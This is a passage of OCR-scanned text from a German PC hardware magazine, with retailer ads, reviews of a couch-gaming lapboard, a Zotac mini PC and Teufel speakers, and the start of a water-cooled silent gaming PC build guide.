www.pcgameshardware.de 


28,5/21,1/17,0 dB(A) (1x 120 mm) 


© Günstig 
© Akzeptable Lautheit und Leistung 
© Minimalistischer Lieferumfang 


Wertung: 2,80 


28,5/21,1/17,0 dB(A) (1x 120 mm) 


© Kompakt, bietet trotzdem еіп... 
©... gutes Lautheits-Leistungs-Verhältnis 
© Proprietäres Lüfterformat 


Wertung: 2,92 


25,5/19,7/17,0 dB(A) (1x 92 mm) 


© Sehr kompakt 
© Gedrosselt sehr wenig Leistung 
© Teuer 


Wertun 


:3,70 


25,5/19,7/17,0 dB(A) (1x 92 mm) 


© Günstig 
© Gedrosselt mit Test-CPU überfordert 
© PWM-Regelbereich ggf. eingeschränkt 


Wertung: 5,04. 
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Crucial Ballistix Sport LT 


Geschwindigkeit. Stil. Sport. Holen Sie mehr aus Ihrem Speicher heraus. 


PC, Notebook & Tablet TV & Audio | Foto & Video Apple | Haushaltsgeräte 


[BALLISTIRG 


Der Crucial Ballistix Sport LT DDR4 Speicher wurde speziell für Leistungssportler, Spieler und diejenigen entwickelt, 
die einfach mehr aus ihrem System herausholen möchten. Statten Sie Ihren Prozessor mit den Ressourcen aus, 
die für eine höhere und schnellere Rechenleistung und eine schnellere Reaktion erforderlich sind. 


109, 


Ballistix DIMM 16GB 
DDR4-2666 Kit 

* Arbeitsspeicher-Kit e BLE2C8G4D26AFEA 
* Timing: 16-17-17 

* DIMM DDR4-2.666 (PC4-21.300) 

* Kit: 2x 8 GB 
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DEUTSCHLAND 
NEY] 
BESTER 
SERVICE 


ALTERNATE GmbH 


N24 TESTSIEG 


ER 
rie 


Philipp-Reis-Straße 2-3 


Ballistix DIMM 32GB DDR4-2400 Kit 


e Arbeitsspeicher-Kit e BLS2C16G4D240FSC 
* Timing: 16-16-16 
e DIMM DDR4-2.400 (PC4-19.200) » Kit: 2x 16 GB 


IFIGCJ29 


Ballistix DIMM 16GB 


DDR4-2400 Kit 

* Arbeitsspeicher-Kit e BLS2C8G4D240FSB 
* Timing: 16-16-16 

+ DIMM DDR4-2.400 (PC4-19.200) 

e Kit: 2x 8 GB 


IEIGCJ24 
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35440 Linden 
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Ballistix DIMM 16GB 
DDR4-2400 

* Arbeitsspeicher « BLS16G4D240FSE 
* Timing: 16-16-16 

« DIMM DDR4-2.400 (PC4-19.200) 

• Modul 16 GB 


Fon: 06403-905040 | info@alternate.de 


Bestellhotline: Mo-Fr 8-19 Uhr, Sa 9-14 Uhr 06403 = 90 50 40 


Hardware 
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Gaming TV & Audio 


Life's Good 


749 


Curved-LED-Monitor * 81 cm (32") 

1.920x1.080 Pixel (Full HD) « 4ms Reaktionszeit (GtG) 
Kontrast: 100.000.000:1 (dynamisch) 
Energieeffizienzklasse: A • Helligkeit: 300 cd/m? 
HDMI, DisplayPort, Audio 

Integrierte 4xUSB 3.0-Hub und Lautsprecher 


Grafikkarte • NVIDIA® GeForce? GTX 1070 
1.632 MHz Chiptakt (Boost: 1.835 MHz) 

8 GB GDDR5-RAM (8,0 GHz). 1.920 Shadereinheiten 
DirectX 12 und OpenGL 4.5 

3x DisplayPort, HDMI, DVI » PCle 3.0 x16 

V7LAO6 JEXWOCO6 
m шашын 


IN SEARCH OF INCREDIBLE 


LED-Monitor • 68,6 cm (27") Bilddiagonale • 3840x2160 Pixel 
5 ms Reaktionszeit (GtG) » Kontrast: 1.000:1 • Helligkeit: 300 cd/m? 
2x HDMI, 1x DiplayPort, 1x Mini-DiplayPort 


ATX-Mainboard » Sockel 2011-3 

Intel® X99 Express • Gigabit-LAN • WLAN 

USB 3.1 • ROG SupremeFX HD-Sound 

8x DDR4-RAM » 8x SATA 6Gb/s, М.2, U.2, SATAe 
3x PCle 3.0 x16, PCle 2.0 x16, 2x PCle 2.0 x1 


ATX-Mainboard » Sockel 1151 

Intel® Z170 Chipset « CPU-abhängige Grafik 
Gigabit-LAN » USB 3.1 « HD-Sound 

4x DDR4-RAM • бх SATA 6Gb/s, M.2, SATAe 
3x PCle 3.0 x16, 4x PCle 3.0 x1 


GMEA80 GKEM59 V6LKAN 
ZALMAN fractal ©steelseries GIGABYTE" 
esion 
zA4 2% 34 2 


Ay 39) 5 


Midi-Tower für Mainboard bis ATX-Bauform Midi-Tower optische Gaming-Maus ° 16.000 dpi optische Gaming-Maus • 6.400 dpi » Scrollrad 


Einbauscháchte extern: 2x 5.25"/3.5"/2.5" 
Einbauscháchte intern: 2x 3,5"/2,5", 2x 2,5" 
inkl. fünf Lüfter • Window-Kit 

Front: 2x USB 3.0, 2x USB 2.0, 2x Audio 


TOXZB7 


EXTREME 8 

сә 

© 
Г 


Sockel-2011-3-Prozessor • Broadwell-E 
10 Kerne ° 3,00 GHz Basistakt 

3,50 GHz max. Turbo 

25 MB L3-Cache » HyperThreading 


Einbauschächte intern: 2x 3,5" oder 2,5", 3x 2,5" 
inkl. zwei Lüfter » Front: 2x USB 3.0, 2x Audio 
für Mainboard bis ATX-Bauform 


TOXHFO21 


devoLo 
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Powerline » 500 MBit/s Powerline 

1x 10/100 MBit/s LAN (RJ-45) • 300 Mbit/s WLAN 
range+ Technologie, Wifi Move 

Kit aus zwei Adaptern 


15 Tasten • Scrollrad • Beschleunigung 50 G 
1.000 Hz Ultrapolling « RGB-LED-Beleuchtung 
Makroprogrammierung 

für Links- und Rechtshänder 


NMZTAV 


Beschleunigung 50 G » Abtastgeschw. 5,08 m 
optischer Sensor Pixart 3988 

dpi einstellbar in 50er Schritten 

einstellbare Beleuchtung mit 16,8 Mio. Farben 


NMZGB9 


229. 


JU N 


* 


Bis zu 45-mal schneller als USB 2.0 
Übertragen Sie einen Spielfilm in weniger 

als 10 Sekunden 

Übertragungsgeschwindigkeit mit bis zu 245MB/s 
Inklusive SanDisk SecureAccess"" Software 


> ICY BOX 


Portable Lautsprecher 

Bluetooth • microSD-Slot 

dimmbares LED-Display 

Integrierter Li-lon Akku (10 Std Laufzeit) 
Frequenzumfang: 90 Hz - 18 kHz 


HM7135 LP#EOE IMHL6X KVZKO1 


ALTERNATE 


bequem online 


Abgabe nur in haushaltsüblichen Mengen und solange Vorrat reicht. Irrtümer und Druckfehler vorbehalten. 
Alle Preise in Euro inkl. MwSt. und zuzüglich Versandkosten. Angebote gültig bis zum 21.12.2016 


Frank Stówer 
Fachbereich: Couch-Gamer 
E-Mail: fs@pcgh.de 


Kommentar 


Couchmaster vs. Lapdog: Mit welcher Peri- 
pherie spielt sich's besser im Wohnzimmer? 


Der PC hat sich als Spieleplattform für das 
Wohnzimmer etabliert und das Couch-Gaming 
mauserte sich von einem anfänglich belächelten 
Phänomen zu einem Trend, der vor allem von den 
Peripherie-Herstellern stark gefördert wird. Bereits 
2011, über vier Jahre vor der Vorstellung der er- 
sten für das Spielen im Wohnzimmer konzipierten 
Lapboards, präsentierte Nerdytec das Urmodell 
des Couchmasters, dessen neueste Version, den 
Couchmaster Cycon, wir rechts testen. Somit 
buhlen aktuell zwei Peripherie-Lösungen um die 
Gunst der Couch-Gamer. Doch welche ist die bes- 
sere? Während die Couchmaster-Konstruktion we- 
niger wackelig ausfällt, weil die Ablage für Maus 
und Tastatur nicht wie beim Roccat Sova oder 
Corsair Lapdog auf den Oberschenkeln aufliegt 
und zusätzlich von der Bewegungen der Beine 
beeinflusst wird, liegen die Vorteile der Lapboards 
darin, dass sie sich viel schneller bei Spielpausen 
zur Seite legen und bei Spielende im Wohnzimmer 
verstauen lassen. In puncto Ergonomie und Kom- 
fort sind die Unterschiede eher gering und auch 
bei der Möglichkeit, die Kabel zu verstauen, bieten 
Couchmaster und Lapboard unterschiedliche, aber 
gleichermaßen praktikable Lösungen. Letztendlich 
entscheidet der Kunde, mit welcher Peripherie er 
im Wohnzimmer zocken möchte. In meinem Fall ist 
die Entscheidung für Roccats Sova gefallen. 
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Test: Nerdytec Couchmaster Cycon 


PC-Gaming mit Maus und Tastatur am Fernseher im 
Wohnzimmer wird immer populärer. Ist Nerdytecs 
Couchmaster hierfür die optimale Peripherie? 


ereits vier Jahre vor der Vorstellung der ers- 
D für das Spielen im Wohnzimmer kon- 
zipierten Lapboards wie des Roccat Sova oder 
Corsair Lapdog (siehe PCGH 08/2016) präsen- 
tierte Nerdytec das Couchmaster-Urmodell. Jetzt 
steht die überarbeitete Version, der Couchmaster 
Cycon, in den Läden. Das Produkt besteht aus 
einer 84 x 35 x 4 cm (L x B x H) großen, ange- 
nehm leichten Auflage aus Kunststoff inklusive 
Handballenablage, die mit vier Kabelóffnungen 
bestückt ist. Die zusätzlich mit einem Vierfach- 
USB-3.0-Hub ausgestattete Ablagefläche für Maus 
und Tastatur wird auf zwei 60 x 23 x 18 cm 
(L x B x H) großen Stützkissen abgelegt. Der 
weiche Schaumstoff im Inneren der Bezüge 
der Stützelemente sorgt zusammen mit dem 
geringen Gewicht der Plastikablage für einen 
sehr hohen Komfort. Zusätzlich wirken sich die 
Handballenablagen an der unteren Kante positiv 
auf die Ergonomie aus. Als weiteres Zubehór lie- 
fert Nerdytec eine Maustasche, ein Stoff-Mauspad 
sowie eine 5 m lange USB 3.0-Verlängerung mit. 


Von den vier in die Auflageplatte integrierten 
USB-Ports befindet sich nur einer auf der Obersei- 
te. Die restlichen drei USB-3.0-Anschlüsse sind im 
Stauraum unter den beiden Abdeckungen auf der 
Unterseite zu finden. Óffnet man Letztgenannte, 


entdeckt man das brauchbare Kabelmanagement 
des Couchmaster Cycon, bei dem die Kabel um 
je zwei Kunststoffsäulen gewickelt werden. Das 
klappt problemlos - die Ausnahme sind dicke 
und mit zwei USB-Anschlüssen versehene Kabel. 
Ein weiteres Manko: Nutzen Sie ein Keyboard mit 
durchgeschleiftem 3,5-mm-Klinkenstecker, lassen 
sich die Audioanschlüsse nicht anbinden, da die- 
se nicht vorhanden sind. An der Ergonomie des 
Couchmaster Cycon gibt es nichts auszusetzen. 
Beide Unterarme ruhen bequem auf den weich 
gepolsterten Kissen und die Handballenablagen 
garantieren zusátzlich eine verspannungsfreie 
Handgelenkhaltung. Eine ebene Couch mit aus- 
reichend großer Sitzfläche vorausgesetzt, kommt 
die Stützkissen-Ablage-Kombination auch nicht 
ins Kippeln und ist rutschfest. Will man das Gerät 
jedoch zur Seite legen, benötigt man mehr Platz, 
da noch die Kissen vom Sofa genommen und ver- 
staut werden müssen. (fs) 


Couchmaster Cycon 


Fazit: Der Couchmaster Cycon ist ergonomisch, rutschfest und 
eignet sich gut bis sehr gut für das Zocken auf dem Sofa. Er ist 
zwar weniger wackelig als die Lapboards (Roccat Sova/Corsair 
Lapdog), benötigt aber mehr Platz auf und neben der Couch. 


Hersteller: Nerdytec 

Web: www.nerdytec.com 

Preis: Ca. € 170,- | Preis-Leistung: befriedigend 
PCGH-Preisvergleich www.pcgh.de/preis/1522994 
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Zbox Magnus EN1060: Gute Basis für Spiele-Minis? 


Bei der neuen Zbox packt Zotac eine sparsame CPU 
und eine Pascal-Grafikeinheit in ein kompaktes 
Gehàuse. Wir zitieren den Mini zum Spiele-Check. 


ür unseren Test stellte uns Zotac die mit 910 

Euro veranschlagte Barebone-Variante der 
Zbox Magnus EN1060 zur Verfügung, die wir 
noch mit 16 GiByte RAM (2 x 8 GiB DDR4-2133, 
SO-DIMM) sowie einer SSD (Sandisk X400 mit 256 
GB) nachgerüstet haben. Da Zotac mit der Zbox 
Magnus EN1060 Spieler im Visier hat, bestückt 
man den Barebone auch mit einem Core i5-6400T 
(4c/4t/2,2 GHz/Turbo: 2,8) sowie der Geforce 
GTX 1060/6G. Bei der Pascal-GPU handelt es sich 
allerdings nicht um den Desktop-Ableger, sondern 
um die von der Leistung her nahezu identische 
Notebook-Variante. Das soll genauso die Leistungs- 
aufnahme senken wie die als Stromsparer bekann- 
te Skylake-CPU, welche ohne Hyperthreading 
auskommen muss. Dass dieses Konzept aufgeht, 
zeigen unsere Messungen, bei denen der Mini auf 
dem Desktop rund 32 Watt und bei Volllast (BF1) 
126,7 Watt aus der Steckdose zieht (Vergleich PS4 
Pro: 70 Watt [OS] und 157 Watt [Spielelast]). 


Die weitere Ausstattung fällt mit einer M.2- 
Anbindung (intern) einem SATA-6-GB/s-Port 
für 2,5-Zol-HDDs/SSDs, Dual Gigabit LAN, Wifi 
(802.11ac), Bluetooth 4.0 und einem internen 
Soundchip nur durchschnittlich aus. Um die 
Anschlussmóglichkeiten steht es besser. An der 


Front findet man einen Card-Reader, Audio-An- 
schlüsse sowie je einen USB-3.1- und USB-3.1-Typ- 
C-Port. Auf der Rückseite kónnen vier Bildschir- 
me (2 x HDMI, 2 x DP 1.3), zwei LAN-Kabel sowie 
zwei USB-2.0- und USB-3.0-Geräte angeschlossen 
werden. Für seinen Einsatzzweck, das Zocken am 
TV im Wohnzimmer oder mit der VR-Brille, ist die 
neue Zbox auf jeden Fall geeignet. Das belegen 
die Benchmarks mit Battlefield 1 (61 Fps/56 Min- 
Fps in 1080p und 51 Fps/46 Min-Fps in 1440p) so- 
wie The Witcher 3 (43 Fps/40 Min-Fps in 1080p 
und 51 Fps/46 Min-Fps in 1440p). Bei Spielelast 
beträgt die CPU-Temperatur 68,5 °C, die GPU 
wird 73 °C warm und die Lautheit liegt bei er- 
träglichen 1,8 Sone. (fs) 


Teufel Mediadeck: Kompaktes 2.1-System 


Mit dem Mediadeck pràsentiert der Lautsprecher- 
hersteller Teufel eine kompakte Audio-Lósung 
samt Subwoofer für den heimischen Schreibtisch. 


as Erste, was bei Teufels Mediadeck auffällt, 
D: die schicke, aufgeräumte Optik sowie 
die sehr angenehme Haptik. Das sehr stabil wir- 
kende, einteilige Gehäuse aus Aluminium wirkt 
edel, die Verarbeitung ist ausgesprochen sauber. 
Die Front des leicht trapezförmigen Mediadecks 
ziert ein schlichtes Metallgitter, das nicht zu 
dick auftragende Teufel-Logo setzt einen opti- 
schen Kontrast. Außerdem findet sich mittig 
der Lautstärkeregler ein Anschluss für Kopf- 
hörer sowie eine im eingeschalteten Zustand 
rot leuchtende LED-Leiste samt Blendschutz 


im Knight-Rider-Stil - wirklich schick. An der 
Rückseite des Mediadecks befinden sich zudem 
ein weiterer Klinkenaus- und dazu ein Mikro- 
foneingang sowie drei USB-Anschlüsse, denn 
das Mediadeck dient nebenbei als USB-Hub. Ein 
weiterer USB-Anschluss dient zum Laden von 
mobilen Geräten. Im Inneren ist ein Zwei-Wege- 
Boxensystem plus 
zusätzlichem Sub- 


woofer verbaut, 
angetrieben von 
einem Class-D- 


Verstärker. Um die 
Klangwandlung 
kümmert sich ein 
DAC von C-Media, 


das Mediadeck dient nebenbei auch als Sound- 
kartenersatz. Klanglich überzeugt das kompakte 
Gerät: Es spielt deutlich kraftvoller und dynami- 
scher auf, als man es ob der Grófse für móglich 
hielte, und verleiht Spielen, Film und Musik viel 
Schwung. Der Preis von knapp 300 Euro wirkt 
für dieses kleine Klangwunder fair. 


(pr) 


Bild: Teufel.de 
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Wir bauen einen voll spieletauglichen und gleichzeitig möglichst leisen, praktisch sogar unhörbaren 


Spiele-PC mit Unterstützung von Alphacool, Asus, Blacknoise, Crucial, Enermax und Fractal Design. 


ie heute in fast jedem Haus- 

halt zu findenden Privatrech- 
ner hatte Johann Wolfgang von 
Goethe beim Verfassen des Sprich- 
worts „Es hört doch jeder nur, was 
er versteht“ ganz bestimmt nicht 
im Sinn, denn wie wir zwei Jahr- 
hunderte später wissen, verhält es 
sich gerade entgegengesetzt: Wäh- 
rend es nicht allzu viel Verstand er- 
fordert, einen schnellen, aber auch 
kaum zu überhörenden Computer 
zusammenzustellen, bedarf es zu- 
sätzlichen Wissens über PC-Tech- 
nik, um einen unhórbaren Spie- 
lerechner auf die Beine zu stellen. 
Doch genau dieser Aufgabe stellen 
wir uns. Unser Ziel ist ein Spiele- 
PC, der selbst in einer leisen Um- 
gebung nicht herauszuhören sein 
soll. Wir peilen eine Lautheit von 
0,1 Sone aus 50 cm Entfernung an. 
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Schnell oder leise? Beides! 
Der Einplatinencomputer Raspber- 
ry Pi, der nur wenige Watt benöti- 
gen, macht es vor: Hardware mit 
einer geringen Abwärme ist auch 
ohne Belüftung vor dem Überhit- 
zen gefeit. Anders verhält es sich 
bei schnellen Spiele-PCs, denn hier 
generieren Prozessor und Grafik- 
karte typischerweise einige hun- 
dert Watt Abwärme. Dank immer 
besserer Energiesparmodi und Lüf- 
tersteuerungen ist Krach im Leer- 
lauf nur noch selten ein Problem, 
doch im Spielbetrieb geht es kaum 
ohne schnell drehende Lüfter. 


Silent-Fans sind daher beim Neu- 
kauf gut beraten, auf die Energieef- 
fizienz von PC-Hardware zu achten. 
Denn eine niedrige Leistungsauf- 
nahme ist immer besser als der 


mühsame Versuch, zusätzlicher Ab- 
wärme bei gleichbleibender Laut- 
heit Herr zu werden. Intel-Prozes- 
soren auf Skylake-Basis sind daher 
beispielsweise FX-Prozessoren für 
den Sockel AM3+ vorzuziehen. Im 
Grafikkartenmarkt hat derzeit Nvi- 
dia die Nase vorn und bietet in den 
meisten Fällen eine höhere Leis- 
tung pro Watt; selbstverständlich 
lässt sich auch mit AMD-Hardware 
ein flüsterleises System aufbauen, 
die Herausforderung ist allerdings 
etwas größer. 


Die von uns genutzte Asus Strix 
GTX 1070 OC hält im Leerlauf ihre 
Lüfter an, doch unter Last haben 
wir im Test eine Lautheit von 1,8 
Sone ermittelt - ein typischer Wert 
für eine Grafikkarte dieser Leis- 
tungsklasse. Die leisesten Custom- 


Designs liegen unter 1 Sone aus 
50 cm Entfernung, was zwar leise, 
in ruhiger Umgebung aber immer 
noch potenziell störend ist. Mit 
einer Luftkühlung geht es kaum 
leiser, da die Kühloberfläche einer 
Grafikkarte durch das ATX-Format 
relativ stark begrenzt wird. Je grö- 
ßer der Kühlkörper, desto mehr 
Probleme sind beim Einbau zu er- 
warten. Die Hersteller verzichten 
nicht ohne Grund häufiger als frü- 
her auf Steckplätze nahe des ersten 
PCI-Express-Slots und nutzen Me- 
tallrahmen zur Stabilisierung der 
empfindlichen Platinen, die sich 
durch schwere GPU-Kühlblocke 
verbiegen können. 


Die Lösung besteht in einer Ver- 


lagerung der Wärme, wofür eine 
Wasserkühlung prädestiniert ist: 
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Mit einer durch einen Kreislauf 
gepumpten Flüssigkeit lässt sich 
Wärme rasch von heißen Bauteilen 
wegführen. Die Kühlung der Flüs- 
sigkeit erfolgt dann nicht nahe der 
Komponente, sondern an anderer 
Stelle im Gehäuse. Dieses Prinzip 
allein garantiert aber noch keinen 
flüsterleisen PC, die Umsetzung ist 
entscheidend. 


In unserem Fall setzen wir auf das 
Fractal Design Define S, eine preis- 
werte Basis für ein wassergekühl- 
tes System. Mit einem 3x 140-mm- 
Radiator im Deckel und einem 
2x140-mm-Wärmetauscher an der 
Front nutzen wir das Platzangebot 
gut aus. Die Nexxxos-ST30-Modelle 
haben uns in der Vergangenheit 
durch ihre gute Leistung bei nied- 
rigen Drehzahlen überzeugt. Damit 
sind sie die richtigen Partner für 
die Noiseblocker NB-Eloop B14-1. 
Die 14-cm-Lüfter sind für 600 U/ 
min ausgelegt und vermeiden mit 
ihrem innovativen Schlaufenrotor 
die normalerweise lauten Verwir- 
belungen an den Lüfterblattenden. 
Alle verbauten Ventilatoren schlie- 
ßen wir zur temperaturabhängigen 
Regelung am Asus Maximus VIII 
Ranger an. 


Neben der Belüftung kann auch die 
Pumpe einer leisen Wasserkühlung 
einen Strich durch die Rechnung 
machen. Mit der Alphacool Eisbaer 
Solo setzen wir auf eine ungewöhn- 
liche Kombination aus CPU-Kühler, 
Ausgleichsbehälter und Pumpe, 
die uns im Test bereits herunter- 
geregelt mit 0,1 Sone überzeugen 
konnte (montierter Zustand). Dank 
des Eiswolf-Kühlblocks für die 
Grafikkarte haben wir aber sogar 
eine zweite, angeblich noch leisere 
Pumpe zur Verfügung. 


Mit dem lüfterlosen Netzteil Ener- 
max Digifanless 550 Watt sowie ei- 
ner Crucial MX300 setzen wir auf 
Netzteil und Datenspeicher ohne 
Lüfter und mechanische Antriebe. 
Dazu kommt ein Kugelhahn zum 
Entleeren, der sich im Kreislauf 
hinter einem Y-Verbindungsstück 
am Dual-Radiator befindet. 


Der Zusammenbau 

Eine sorgfältige Planung ist rich- 
tig und wichtig, gerade an Details 
scheitert es häufig. Denken Sie an 
die Erreichbarkeit von Anschlüs- 
seln und das Verlegen von Schläu- 
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Die Komponenten unseres Silent-PCs 


Komponente Produkt Preis | PCGH-Preisvergleich 
Prozessor Core i5-6600K Ca. € 240,- | www.pcgh.de/preis/1290376 
CPU-Kühler, Pumpe Alphacool Eisbaer Solo Ca. € 50,- | www.pcgh.de/preis/1482622 
und Ausgleichsbehälter 
Mainboard Asus Maximus VIII Ranger Ca. € 180,- | www.pcgh.de/preis/1306336 
Arbeitsspeicher Crucial Ballistix Elite BLEACAGD32AEEA Ca. € 130,- | www.pcgh.de/preis/1464325 
(4 x 4 GiByte DDR4-3200 16-18-18-36) 
Grafikkarte Asus ROG Strix Geforce GTX 1070 ОС Ca. € 500,- | www.pcgh.de/preis/1450613 
GPU-Kühler Alphacool Eiswolf GPX Pro GTX 1070 M02 Ca. € 120,- | www.pcgh.de/preis/1539175 
SSD Crucial MX300 750 GByte Ca. € 180,- | www.pcgh.de/preis/1435141 
Netzteil Enermax Digifanless 550 Watt Ca. € 200,- | www.pcgh.de/preis/1236229 
Gehäuse Fractal Design Define S Ca. € 75,- | www.pcgh.de/preis/1259880 
Radiator 1 Alphacool Nexxxos ST30 420 mm Ca. € 85,- | www.pcgh.de/preis/1028230 
Radiator 2 Alphacool Nexxxos ST30 X-Flow 280 mm Ca. € 70,- | www.pcgh.de/preis/1497261 
Lüfter 6 x Blacknoise Noiseblocker NB-Eloop B14-1 Ca. € 150,- | www.pcgh.de/preis/1313823 
Weiteres Zubehör 40-cm-Verlängerung (4 Pin auf 3 x 4 Pin), 60-cm-Y-Kabel (3 Pin), Ca. € 120,- | bezogen von 
11 Anschraubtüllen G1/4, Y-Verbinder 45°, 2-Wege-Kugelhahn, 2 www.aquatuning.de 
Lüftervorkammern 7 mm, 8 M3-Schrauben 40 mm, Schlauch 


ca. € 2.100,- 


Montage des GPU-Kühlers 


Damit der Eiswolf die Wärme abführen kann, müssen zuerst 37 Wármeleitpads aufgetragen werden, die den Kontakt zum Kühler 
herstellen. Vor der Montage sind die Schutzfolien auf beiden Seiten der Pads zu entfernen, die GPU benötigt Wärmeleitpaste. 


Rückseite nach Demontage des Strix-Luftkühlers 
| 


Vorderseite der Strix-Platine (Asus-Custom-Layout) 


Auch Asus kann nicht zaubern: Die Strix GTX 


Rückseite mit zurechtgeschnittenen Wàrmeleitpads 


Vorderseite mit zurechtgeschnittenen Wärmeleitpads 
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1070 OC schaltet bei geringer Last zwar ihre Lüfter ab, unter Volllast 
kann man die GPU aber nicht mit Luft und 0,1 Sone Lautheit kühlen 
— die Leistungsaufnahme liegt immerhin bei rund 170 Watt. Wir 
rüsten die Karte daher mit einem Alphacool-Wasserkühler aus. 
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Wichtige Komponenten des Silent-PCs 


Alphacool Nexxxos ST30 Full Copper 420 mm und 
3 x Noiseblocker NB-Eloop B14-1 


Der größere Radiator unseres wassergekühlten Systems ist hinter der Gra- 
fikkarte und dem Prozessor eingebunden. Die drei Lüfter teilen sich mittels 
Adapter einen Anschluss am Mainboard und werden daher zusammen 
geregelt. Den Hecklüfter haben wir vorerst einblasend montiert, um dem 
Radiator kühle Luft von außerhalb des Gehäuses zuzuführen. 


Der Prozessorkühl- 
block mit integrierter 
Pumpe ist zugleich 
unser Ausgleichsbe- 
hälter. Im gekippten 
Zustand lässt sich 
der Füllstand dank 
eines Guckfensters 
gut erkennen und bei 
Bedarf Wasser nach- 
füllen. Der Kühlblock 
ist um 180° gedreht 
verbaut, damit wir die 
Schläuche in unserem 
Kreislauf besser 
verlegen können. 


eccoou 


GPX-N 1070 по мет 


Enermax Digifanless 550 Watt 


Das Netzteil ist nicht nur lüfterlos, sondern auch voll modular. Da wir nur 
benótigte Kabel anschlieBen und diese zwischen Mainboard-Tráger und 
Seitenteil verlegen, erhalten wir einen aufgeráumten Innenraum. Wichtig: 
Das für die Wármeabgabe vorgesehene Lochblech ist nach oben ausgerich- 
tet, so wie es Enermax empfiehlt. 
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Alphacool Nexxxos ST30 X-Flow 280 mm und 
2 x Noiseblocker NB-Eloop B14-1 


Am vorderen Radiator setzen wir auf zwei 7 mm dicke Lüftervorkammern 
aus Gummi. Sie erfüllen zwei Funktionen: Einerseits vergrößern wir so den 
Abstand zum Staubfilter, um keine Verwirbelungsgeräusche beim Einsaugen 
zu riskieren. Andererseits erleichtern wir uns so die Montage, da der Radia- 
tor ein Tick zu groß ist — Details im Fließtext. 


Ban їг 


MESEBENNHM 


Asus ROG Strix GTX 1070 OC und 
Alphacool Eiswolf GPX Pro GTX 1070 M02 


Die werkseitig übertaktete Grafikkarte binden wir mithilfe des Nachrüst- 
kühlers in den Kreislauf ein — laut Asus bleibt die Garantie bei sachgemäßer 
Durchführung erhalten. Beim Eiswolf handelt es sich um eine Kombination 
aus GPU- und Passivkühler: Die GPU gibt ihre Abwárme direkt in den 
Wasserkreislauf ab, bei der Kühlung von Grafikspeicher und Spannungs- 
wandlern helfen zahlreiche Aluminium-Kühlrippen. 


a 
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Crucial MX300 750 GByte 


Wir verbauen die SSD an der 
Rückwand. Sie ließe sich auch 
seitlich vom Dual-Radiator platzie- 
ren, doch da wir das Define S mit 
einem blickdichten, gedämmten 
Seitenteil betreiben, bleibt der 
Datenträger im Alltag neugierigen 
Blicken sowieso verborgen. Vorteil: 
noch weniger Kabel im Innenraum, 
da wir den Stauraum hinter dem 
Mainboard-Träger nutzen. 


1ШЕШИНИШЕШЕЕНН НИНЕ» 
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„Wenn das so kompliziert ist, 
bleibe ich bei Luftkühlung” 


Obiges Zitat entwich einem Kollegen, als ich beim 
Basteln am Silent-PC gerade mal wieder feststellte, 
dass ich einen schön festgeschraubten Radiator lösen 
muss, um ein fehlendes Bauteil zu ergänzen. Ganz 
unrecht hat er nicht — gerade ohne Vorerfahrung 
sollte man bereits bei der Konzeption eines vergleich- 
baren wassergekühlten PCs viel Zeit einplanen. Wer 
aber gerne bastelt und zudem einen Aufpreis in Kauf 
nimmt, wird durch eine extreme Laufruhe belohnt, die 
mit einer Luftkühlung schlicht nicht zu realisieren ist 
— zumindest, wenn wir von einem Spiele-PC mit einer Oberklasse-/High-End-Gra- 
fikkarte sprechen. Die Ausnahme von der Regel sehen Sie unter mir. 


Stephan Wilke 


Passivkühlung 


Einige PC-Schrauber reizt die Idee, völlig ohne Lüfter und Pumpen 
auszukommen und setzen auf selbstgebaute Kühlkörper. 


Zu diesen Passivkühlungs-Enthusiasten zählt szab.tam, der sich mit der abgebil- 
deten Konstruktion an die Kühlung einer für ihre Hitzeentwicklung bekannte 
Geforce GTX 480 gemacht hat. Zuerst experimentierte der handwerklich ge- 
schickte Silent-Liebhaber mit einem in einem Wasserbottich versenkten Kühlblock, 
was sich allerdings als unzureichend erwies. Doch der aus einer Reihe von 
Xbox-360-Kühlblöcken zusammengesetze Kühlturm hält die Grafikkarte selbst im 
Furmark bei rund 75 °C. Weiterführende Informationen inklusive Verlinkung der 
ungarischen Originalquelle erhalten Sie unter www.pcgh.de/szab.tam. 
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Bild: szab.tam von https://prohardver.hu 
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chen! Das zeigt sich in unserem 
Fall, nachdem wir die Radiatoren 
im Gehäuse probesitzen lassen: Ein 
Dual-Radiator für 140-mm-Lüfter 
hat zwar allgemein viel Platz an der 
Vorderseite des Define S, doch das 
Gehäuse bietet keine durchgehen- 
den Metallstege zum Festschrauben 
des Radiators. Mit dem X-Flow-Mo- 
dell fehlen uns rund 2-3 Millimeter 
in der Höhe, denn da der Radiator 
unten aufsitzt, haben wir in dieser 
Richtung keinen Spielraum. Das 
Drehen des Radiators um 180° hilft 
aufgrund des symmetrischen Auf- 
baus des Nexxxos X-Flow nicht, 
denn er verfügt an beiden Enden 
über Anschlussgewinde. Doch wir 
finden eine Lösung und verwen- 
den längere Schrauben aus dem 
Zubehörmarkt (M3, 40 mm) und 
packen zwei 7 mm dicke Lüfter- 
vorkammern zwischen die Eloops 
und das Define S. Die Gesamtkon- 
struktion ist so etwas flexibler, das 
Fixieren kein Problem mehr. Mit 
den Shrouds aus Gummi gehen wir 
hinsichtlich potenzieller Geräusch- 
quellen außerdem auf Nummer si- 
cher: Eine der wenigen Schwächen 
der Eloops besteht darin, dass sie 
unangenehme Verwirbelungsge- 
räusche erzeugen können, wenn 
der Ansaugkanal nicht frei ist. In 
unserem Fall befindet sich ein 
Staubfilter im Ansaugstrom. 


Wir empfehlen, zuerst den Heck- 
ventilator und dann die Radiatoren 
inklusive der Anschlusstüllen und 
Lüfter im Gehäuse zu montieren. 
Als Nächstes ist die Montage des 
Netzteils und des Mainboards sinn- 


voll, auf dem bereits die Kühler-/ 
Pumpeneinheit fixiert ist. Wichtig: 
Die obere 8-Pol-CPU-Strombuchse 
ist nach der Verschraubung der 
Hauptplatine nicht mehr zugäng- 
lich. Das - einem aufgeráumten 
Innenraum zuliebe am besten an 
der Rückwand verlegte - Kabel 
sollte vor dem Verschrauben des 
Mainboards befestigt werden. Be- 
findet sich die Grafikkarte im ge- 
wünschten Steckplatz, lassen sich 
die Schläuche auf die gewünschte 
Länge zuschneiden. Sitzen alle An- 
schraubtüllen fest, kann es ans Be- 
füllen gehen. Bei der Eisbaer Solo 
empfiehlt sich das Kippen des PCs 
um 90°, um die Einfüllöffnung gut 
erreichen zu können. Mit einem de- 
dizierten Ausgleichsbehälter fiele 
der Komfort etwas höher aus. Das 
Define S bietet rechts vom Main- 
board viel Platz zur Montage, so- 
fern keine extrem lange Grafikkar- 
te oder ein sehr dicker Radiator an 
der Vorderseite verbaut ist. 


Messergebnisse in Teil 2 

Nachdem wir in dieser Ausgabe 
